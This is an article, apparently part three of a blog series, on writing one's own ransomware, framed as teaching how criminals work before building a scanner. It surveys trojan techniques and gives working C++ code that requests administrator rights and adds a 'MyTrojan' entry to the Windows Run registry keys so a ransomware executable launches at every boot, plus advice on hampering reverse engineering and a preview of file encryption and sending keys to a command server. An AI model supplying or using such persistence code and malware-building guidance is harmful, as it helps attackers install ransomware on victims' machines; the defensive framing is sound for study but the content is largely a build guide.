Developing Ransomware Malware. Part 0x03

Developing Ransomware Malware. Part 0x03

We need to create one to understand it.


Writing Our Own Ransomware Malware

for understand how the Cybercriminal write it.

?


What are we going to learn:

1.?????? What a Trojan ransomware does when it is executed for the first time.

2.?????? How a Trojan, once executed, targets various parts of the operating system (OS) to maintain full-time access.

3.?????? Writing code for the Windows registry to show how Trojan ransomware ensures it gets executed every time the OS boots.

Note : It is important to handle registry modifications carefully, as incorrect changes can damage the OS. PLs test your code in Virtual Machine

In previous chapters, we saw how the Google plugin downloaded a simple executable and executed the msg.exe (our Trojan/Ransomware) file. In this chapter, we will rename our msg.exe to WanaCryImage.exe to make things more interesting ??

Assuming the Google plugin downloads our WanaCryImage.exe and executes it, what does it do? This is very important to understand because in the next chapters we will create a scanner to identify our WanaCryImage.exe. This will also give us insight into how we can write an antivirus scanner. Writing an antivirus is a very complex task and takes a lot of time, but we will take small steps to make it. We will create a WanaCryImage.exe removal scanner. To do this, we need to understand how our WanaCryImage.exe infects the system.

?

Now, let’s understand what ransomware does when it gets executed for the first time. Once the ransomware is executed, it always wants to be active whenever the system starts. It will execute itself first before running any user-clicked program.

For example, when a user clicks calc.exe, the ransomware will execute first and then calc.exe will run. The user will only see calc.exe running and assume the system is fine.

Now, the question is, how do these ransomware programs do all this?

Here are the important points about what most ransomware and malware do to keep their presence every time the system boots.

In the case of rootkits, there are some extra steps, which we will understand in the rootkit chapter.???????????

When a Trojan runs, it targets various parts of the operating system (OS) to maintain access. Here’s a look at what typically happens:


Initial Execution:

Disguised as Legitimate Software: Most of the Trojans and malware showcase themselves as legitimate software. For example, they might copy themselves to C:\Windows\System32\ and change their icon to look like an .xls, .docx, or .html file. This tricks users into thinking it’s an Excel, Word, PowerPoint, or PDF file. When you browse files in Windows File Manager, you see icons instead of the actual .exe file, making you think it’s a harmless document.

?

Privilege Escalation:

Exploiting Vulnerabilities: Trojans often exploit system vulnerabilities to gain higher privileges, like administrative rights.They might use techniques to bypass UAC prompts in Windows or gain root access in Unix-based systems.

?

Persistence Mechanisms:

Registry Keys (Windows): To ensure they run at startup; Trojans often modify the Windows Registry. Common locations include:

- HKLM\Software\Microsoft\Windows\CurrentVersion\Run

- HKCU\Software\Microsoft\Windows\CurrentVersion\Run

macOS: they Launch Daemons/Agents that may create plist files in /Library/LaunchDaemons/ or /Library/LaunchAgents/.

In Linux They might add scripts to /etc/init.d/ or create cron jobs to maintain persistence. In this chapter, we’ll write code to show how these behaviours work.

?

System Modification:

Files and Directories: Malware and Trojans copy themselves in system directories like C:\Windows\System32 on Windows, /usr/bin on Linux, or /Library/ on macOS. They may also create or modify system services to make sure that they run continuously.

?

Backdoor Installation:

Remote Access Tools (RATs): Malware and Trojans sometime install RATs to enable remote control by the attacker. They set up communication with a chat/command and control (C&C) server to receive instructions and send data.

?

System Monitoring and Data Exfiltration:

Keystroke Logging: Trojans might include keyloggers to capture sensitive information. Screen Capture: They can take screenshots or record the screen to gather more information.

File Transfer: Malware and Trojans can transfer files from the infected system to the attacker’s server.

?

Evading Detection:

Antivirus Bypass: They may disable or escape from antivirus software by modifying processes or using rootkits.

Obfuscation: Malware and Trojans often encrypt their code to avoid detection by security tools.

Encryption: They encrypt their traffic to hide communication with the C&C server.

?

Spreading Further:

Network Propagation: Trojans might try to spread to other systems on the same network/subnet by exploiting vulnerabilities or copying themselves to shared directories on remote machines. They can have a ability to copy themselves to USB drives or other removable media, spreading when these are connected to other machines.

?

?In short, they Targets OS weak point such as:

  • System Files and Directories
  • Startup Programs and Services
  • System Processes
  • Network Settings

?


With the above 4 point they can carry out their objectives, whether it's data theft, system disruption, or spreading the infection further.

Let's start with modifying the Windows Registry! Our aim is to make sure that whenever the operating system starts, our WanaCryImage executes.

We'll write our WanaCryImage to display a message whenever it's executed. However, in the real world, Trojans and malware usually don't show anything on the screen unless they need to extort money from users.

They operate quietly in the background, silently carrying out their tasks.


In previous chapters, we set up our compiler. Now, let's write a simple code that displays an image representing a sample WanaCryImage, which will demand money????.

?

From here on, we'll dive into core programming. Things might not be as simple as they seem, but if you keep reading, you'll definitely understand.

?

To begin, we'll write two "Hello World" programs. One will be a simple console-based C code that outputs "Hello world" text in the console, and the other will be a GUI-based "Hello World" program for Windows.

Why am I showing you these two ways? Because from now on, we'll be writing GUI-based programming, which will help you understand how Windows works internally. I always recommend writing antivirus scanners or malware ?? in C or C++ because you have good control over the respective operating system.


firstHW.cpp
-------------
// Simple console base code, no GUI

#include <iostream>

int main() {
    std::cout << "Hello, World!" << std::endl;
    return 0;
}
        

We have compiled the code by

c:\> cl console-01.cpp           
The above image shows compilation and execution of the console base C Code.



And the second one is windows base Displaying Image code, It just Display Image and the code is of approx. 109 line of code ?? .

We can compile It by

c:\> cl /EHsc /D_UNICODE /DUNICODE RockRansomware.cpp /link /subsystem:windows gdiplus.lib user32.lib gdi32.lib        
Helloworld code GUI Base 
-----------------------------

#include <windows.h>
#include <objidl.h>
#include <gdiplus.h>
#pragma comment (lib,"Gdiplus.lib")

using namespace Gdiplus;

void OnPaint(HDC hdc, HWND hwnd)
{
    // Initialize GDI+
    GdiplusStartupInput gdiplusStartupInput;
    ULONG_PTR gdiplusToken;
    GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);

    // Load the image
    Bitmap bmp(L"C:\\tmp\\WanaCryImage.jpg");

    // Get the size of the window
    RECT rect;
    GetClientRect(hwnd, &rect);

    // Get the size of the image
    UINT imgWidth = bmp.GetWidth();
    UINT imgHeight = bmp.GetHeight();

    // Calculate the scaling factor to fit the image within the window while maintaining aspect ratio
    double scale = min(static_cast<double>(rect.right) / imgWidth, static_cast<double>(rect.bottom) / imgHeight);

    // Calculate the new image dimensions after scaling
    int newImgWidth = static_cast<int>(imgWidth * scale);
    int newImgHeight = static_cast<int>(imgHeight * scale);

    // Calculate the position to center the image
    int x = static_cast<int>((rect.right - newImgWidth) / 2);
    int y = static_cast<int>((rect.bottom - newImgHeight) / 2);

    // Draw the scaled image
    Graphics graphics(hdc);
    graphics.DrawImage(&bmp, x, y, newImgWidth, newImgHeight);

    // Shutdown GDI+
    GdiplusShutdown(gdiplusToken);
}

LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    switch (uMsg)
    {
    case WM_PAINT:
    {
        PAINTSTRUCT ps;
        HDC hdc = BeginPaint(hwnd, &ps);
        OnPaint(hdc, hwnd);
        EndPaint(hwnd, &ps);
    }
    return 0;
    case WM_DESTROY:
        PostQuitMessage(0);
        return 0;
    }
    return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow)
{
    // Register the window class
    const wchar_t CLASS_NAME[] = L"Rock_Ramsomeware";

    WNDCLASS wc = {};

    wc.lpfnWndProc = WindowProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = CLASS_NAME;
    wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); // Set background color to default window background

    RegisterClass(&wc);

    // Create the window
    HWND hwnd = CreateWindowEx(
        0,
        CLASS_NAME,
        L"My Ramsomeware",
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
        NULL,
        NULL,
        hInstance,
        NULL
    );

    if (hwnd == NULL)
    {
        return 0;
    }

    // Show the window
    ShowWindow(hwnd, nCmdShow);
    UpdateWindow(hwnd);

    // Message loop
    MSG msg = {};
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return 0;
}
        

Once you read the comments in the above code, you'll understand what it takes for the operating system just to display an image on the screen. This is just a CPP code. If you take a look in assembly, I bet it will be much bigger just to display an image ??.

?Once you compile the code and execute this will be the output

The above image shows the comand line library to add and the execution of the RockRamsomeare trojan
Once the above ompiled is run we can see this image : its a demo image


Now, you might say there are other programming languages that write small code to just display an image. My friends, those languages have limitations of library files. If the respective library files are not there, it will not work. So, the best way is to write code in C or C++. There's C# where the code will be much smaller, but if the C# runtime is of an old version, it might have errors in execution.


We can't take the risk of not executing the code. The user will click the application only once or twice, and within that click, you have to complete all the steps we've mentioned above. So, we cannot take the risk of non-execution.

From the reverse engineering point of view, if someone disassemble the C# code, they can view what's happening inside the code. It's very easy to check, as we've seen in Chapter 01. If we write in C and strip the string, it makes the reverse engineering guys' work more tedious. Also, C only requires the default libraries which are already there in the Windows OS. If it's old, still your code will run ??.


Now let’s add Registry Code n to the above code .

Before compiling and runing the code lets see how our register looks

You can see there is not entry of our Trojan exe
run following commanfd to view register 
---------------------------------------------

c:\> reg query (HKLM\Software\Microsoft\Windows\CurrentVersion\Run

c:\> reg query (HKCU\Software\Microsoft\Windows\CurrentVersion\Run
        


Now lest compile the below code and check registery entries.

Adding out trojan to execute whenever the system boots
---------------------------------------------------------------

#include <iostream>
#include <Windows.h>
#include <Shellapi.h>

using namespace std;

// Function to set registry key to run a program on system startup
void SetAutoRunRegistryKey() {
    HKEY hKey;
    // Modify HKLM\Software\Microsoft\Windows\CurrentVersion\Run key
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
        // Set the value to run a.exe on startup
        RegSetValueEx(hKey, "MyTrojan", 0, REG_SZ, (BYTE*)"C:\\tmp\\WanaCryImage.exe", strlen("C:\\tmp\\WanaCryImage.exe") + 1);
        RegCloseKey(hKey);
    }

    // Modify HKCU\Software\Microsoft\Windows\CurrentVersion\Run key
    if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
        // Set the value to run a.exe on startup
        RegSetValueEx(hKey, "MyTrojan", 0, REG_SZ, (BYTE*)"C:\\tmp\\WanaCryImage.exe", strlen("C:\\tmp\\WanaCryImage.exe") + 1);
        RegCloseKey(hKey);
    }
}

// Function to run the program with administrator privileges
bool RunAsAdministrator() {
    SHELLEXECUTEINFO shellExecuteInfo = { sizeof(SHELLEXECUTEINFO) };
    shellExecuteInfo.lpVerb = "runas"; // Run as administrator
    shellExecuteInfo.lpFile = "RegisteryEntery.exe"; // Replace with your program name
    shellExecuteInfo.lpParameters = NULL;
    shellExecuteInfo.nShow = SW_NORMAL;
    if (!ShellExecuteEx(&shellExecuteInfo)) {
        DWORD error = GetLastError();
        if (error == ERROR_CANCELLED)
            cout << "User declined UAC prompt." << endl;
        else
            cout << "Failed to elevate privileges. Error code: " << error << endl;
        return false;
    }
    return true;
}

int main() {
    // Request administrator privileges
    if (!RunAsAdministrator()) {
        cout << "Failed to run with administrator privileges." << endl;
        return 1;
    }

    // Call function to set registry key for auto-run
    SetAutoRunRegistryKey();
    
    cout << "Registry keys for auto-run program set successfully!" << endl;

    // Keep console window open
    system("pause");
    
    return 0;
}        


The above code will add a registry entry named "MyTrojan" to both

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

 and

HKCU\Software\Microsoft\Windows\CurrentVersion\Run keys.        
Now you can see our above code has executed propery, adding WanaCryImage.exe in the registery



This entry will run our “C:\\tmp\\WanaCryImage.exe” when the system reboots on startup. In short, whenever the system boots, our WanaCryImage.exe — ??oops, our WanaCryImage will get executed.

So, this was the first step to write to the Windows registry to start our ransomware at startup. In the next chapter, we will scan the folders and subfolders to encrypt the files and generate the key which we will send to our own command centre, so we can ask for money ??, joking.

With this, I hope you now understand how the code is written in ransomware and how it works. You know the OS points where malware and ransomware can add themselves.

Please do check if you find some unnecessary executable files in the above-mentioned registry. If you find some, please don’t panic; ask your administrator to check this, and they will handle it gracefully.

Thanks a lot for your time ??.




要查看或添加评论,请登录

Sanjay Bhalerao的更多文章

  • AI Agents: The Future of Personal & Business Assistants 0.x01

    AI Agents: The Future of Personal & Business Assistants 0.x01

    Understanding AI and Its Agent ! The AI revolution is happening now… we are in transit mode . It will be a real game…

    3 条评论
  • Developing Ransomware Malware. 0x10

    Developing Ransomware Malware. 0x10

    Writing Our Own Ransomware Malware for understand how the Cybercriminal write it. Forensic Investigation - Password…

    1 条评论
  • Developing Ransomware Malware. 0x09

    Developing Ransomware Malware. 0x09

    Writing Our Own Ransomware Malware for understand how the Cybercriminal write it. Forensic Investigation - Micosoft…

  • Developing Ransomware Malware. 0x08

    Developing Ransomware Malware. 0x08

    Writing Our Own Ransomware Malware for understand how the Cybercriminal write it. Forensic Investigation - PDF File.

  • Forensic Investigation - Network. 0x02

    Forensic Investigation - Network. 0x02

    Developing Ransomware Malware. 0x07 Writing Our Own Ransomware Malware for understand how the Cyber criminal write it.

  • Developing Ransomware Malware. 0x06

    Developing Ransomware Malware. 0x06

    Writing Our Own Ransomware Malware for understand how the Cybercriminal write it. Forensic Investigation of Ransomware…

  • Developing Ransomware Malware. Part 0x05

    Developing Ransomware Malware. Part 0x05

    We need to create one to understand it. Writing Our Own Ransomware Malware for understand how the Cybercriminal write…

  • Developing Ransomware Malware. Part 0x04

    Developing Ransomware Malware. Part 0x04

    We need to create one to understand it. Writing Our Own Ransomware Malware for understand how the Cybercriminal write…

  • Developing Ransomware Malware. Part 0x02

    Developing Ransomware Malware. Part 0x02

    We need to create one to understand it. Writing Our Own Ransomware Malware for understand how the Cybercriminal write…

    2 条评论
  • Developing Ransomware Malware. 0x01

    Developing Ransomware Malware. 0x01

    We need to create one to understand it. What are we going to learn: 1.

社区洞察

其他会员也浏览了